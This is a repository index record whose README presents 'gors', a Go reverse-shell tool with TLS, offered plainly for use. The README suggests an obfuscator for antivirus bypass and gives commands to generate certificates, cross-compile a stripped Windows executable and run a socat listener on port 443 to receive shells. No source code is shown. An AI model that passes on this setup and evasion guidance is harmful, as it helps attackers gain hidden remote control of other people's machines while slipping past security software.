{"id":19552914,"url":"https://github.com/potato-industries/gors","last_synced_at":"2025-12-15T13:15:13.632Z","repository":{"id":177275636,"uuid":"222318845","full_name":"Potato-Industries/gors","owner":"Potato-Industries","description":"portable go based secure reverse shell","archived":false,"fork":false,"pushed_at":"2019-11-27T05:21:24.000Z","size":28,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-05-23T04:26:17.008Z","etag":null,"topics":["go","golang","reverse-shell","tls"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Potato-Industries.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-11-17T22:07:59.000Z","updated_at":"2024-06-19T10:24:09.233Z","dependencies_parsed_at":null,"dependency_job_id":"eadb9a89-92aa-465f-a2e1-00ab0f2b4f63","html_url":"https://github.com/Potato-Industries/gors","commit_stats":null,"previous_names":["potato-industries/gors"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Potato-Industries/gors","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgors","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgors/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgors/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgors/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Potato-Industries","download_url":"https://codeload.github.com/Potato-Industries/gors/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Potato-Industries%2Fgors/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278654396,"owners_count":26022961,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-06T02:00:05.630Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["go","golang","reverse-shell","tls"],"created_at":"2024-11-11T04:20:07.403Z","updated_at":"2025-10-06T17:51:55.586Z","avatar_url":"https://github.com/Potato-Industries.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# gors\n\nportable go based secure reverse shell (self-contained executable)\n\n**Features**\n\n- Interactive shell (use \"gorss-interactive.go\")\n- TLS connectivity\n\n**Why Go?** \n \n- https://medium.com/@sathish__kumar/undetectable-reverse-shell-with-golang-4fd4b1e172c1\n- https://github.com/sathish09/rev2go\n\n**AV bypass**\n\nConsider leveraging..\n- https://github.com/unixpickle/gobfuscate\n\n**Setup**\n\nGenerate server certificate or disable client validation (yahoo! pew pew pew!)\n\n```\nopenssl genrsa -out server.key 2048 \nopenssl ecparam -genkey -name secp384r1 -out server.key\nopenssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650\n```\n\nUpdate:\n- Configure your listener domain/ip:port\n- Configure SSL certificate public key or disable client validation\n- gorss-interactive.go: Update script to use \"/bin/bash\", \"/bin/sh\", \"cmd.exe\", etc\n\n\n**Build for target platform**\n\nWindows:\n```\nenv GOOS=windows GOARCH=386 go build -ldflags \"-s -w\" -o gors.exe gors.go\n```\nUse build reference table for specific target architecture.\n* https://github.com/sathish09/rev2go#build\n\n\n**Listener**\n```\nsocat openssl-listen:443,reuseaddr,fork,cert=/tmp/gors/server.pem,cafile=/tmp/gors/server.crt,verify=0 -\n```\n\n![image](https://user-images.githubusercontent.com/56988989/69015224-f394b480-0989-11ea-8e42-71038b778e06.png)\n\n\n\nEnjoy~\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Fgors","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpotato-industries%2Fgors","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotato-industries%2Fgors/lists"}